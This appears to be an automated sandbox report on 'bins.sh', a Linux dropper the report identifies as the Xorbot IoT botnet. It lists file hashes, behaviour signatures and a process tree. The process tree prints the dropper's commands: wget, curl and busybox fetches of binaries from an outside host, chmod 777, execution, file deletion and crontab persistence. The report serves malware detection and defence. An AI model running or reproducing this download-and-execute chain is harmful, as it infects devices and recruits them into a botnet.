Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    155s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    28/02/2025, 19:36

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General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    0d6abf13920f9568901114a1d17cdfd6

  • SHA1

    8f51702b2844fafb5952fa36d21c2b47de532b5f

  • SHA256

    7c0a391f5ce85b25149f47e7cdce3f47658ea8439a5d487d05833573f20ff9cb

  • SHA512

    0e8c146bd5d415028be102875ebb16d2b898f3923252b11cfeb179fd58a8ef36a54772709f514d6297449e8fdb4246740084f9ed93dad9bdd675905cdf67b795

  • SSDEEP

    192:RdZtmvfC3A3k3x3+3e3LjHkJpgL5d5l5uFpY90cva22sYaGiQa3vvLCLuLzm+v0q:RdZtmvfC3A3k3x3+3e3LjHkJpgLHzJ9p

Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (582) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 10 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    • Renames itself
    • Reads runtime system information
    PID:1517
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:1518
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1519
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1524
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1526
      • /bin/chmod
        chmod 777 tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • File and Directory Permissions Modification
        PID:1527
      • /tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        ./tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
          PID:1528
        • /bin/rm
          rm tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
          2⤵
            PID:1530
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:1531
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:1532
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:1534
          • /bin/chmod
            chmod 777 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • File and Directory Permissions Modification
            PID:1535
          • /tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            ./59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
              PID:1536
            • /bin/rm
              rm 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
              2⤵
                PID:1538
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:1539
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:1540
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:1542
              • /bin/chmod
                chmod 777 l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • File and Directory Permissions Modification
                PID:1543
              • /usr/bin/crontab
                crontab -l
                2⤵
                  PID:1547
                • /usr/bin/crontab
                  crontab -
                  2⤵
                  • Creates/modifies Cron job
                  PID:1549
                • /bin/rm
                  rm l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                  2⤵
                    PID:1551
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                    • System Network Configuration Discovery
                    PID:1554

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
                  Filesize

                  117KB

                  MD5

                  849fa04ef88a8e8de32cb2e8538de5fe

                  SHA1

                  c768af29fe4b6695fff1541623e8bbd1c6f242f7

                  SHA256

                  8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                  SHA512

                  2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                  Download Submit

                • /tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                  Filesize

                  99KB

                  MD5

                  9438d9bc392bcf300a5583b6df5bc8f6

                  SHA1

                  375a6ae34b516f6f3eeea8030c4084f585017efa

                  SHA256

                  68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                  SHA512

                  1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                  Download Submit

                • /tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
                  Filesize

                  107KB

                  MD5

                  eb9c3a0de91fcf16ba17cb24608df68c

                  SHA1

                  09d95a7d70d5e115d103be51edff7c498d272fac

                  SHA256

                  dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                  SHA512

                  9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                  Download Submit

                • /var/spool/cron/crontabs/tmp.gafb6P
                  Filesize

                  210B

                  MD5

                  194f428bf4b2053949dda8239382bddb

                  SHA1

                  e924375e62c84b7b6876db99d41c20ba71ef516a

                  SHA256

                  9a72c90f03d0974722af9c940b2317ff5d2c09a1daa07df1517753025b22a2fd

                  SHA512

                  450ee91c50ea1d6c0ceb73e51fa40cbc5b111c756224ae7218f5ad0ca09f8901a718cd67b941d6410965ceaa9867ca3da66bad0c439a261c1875984bfd1f862b

                  Download Submit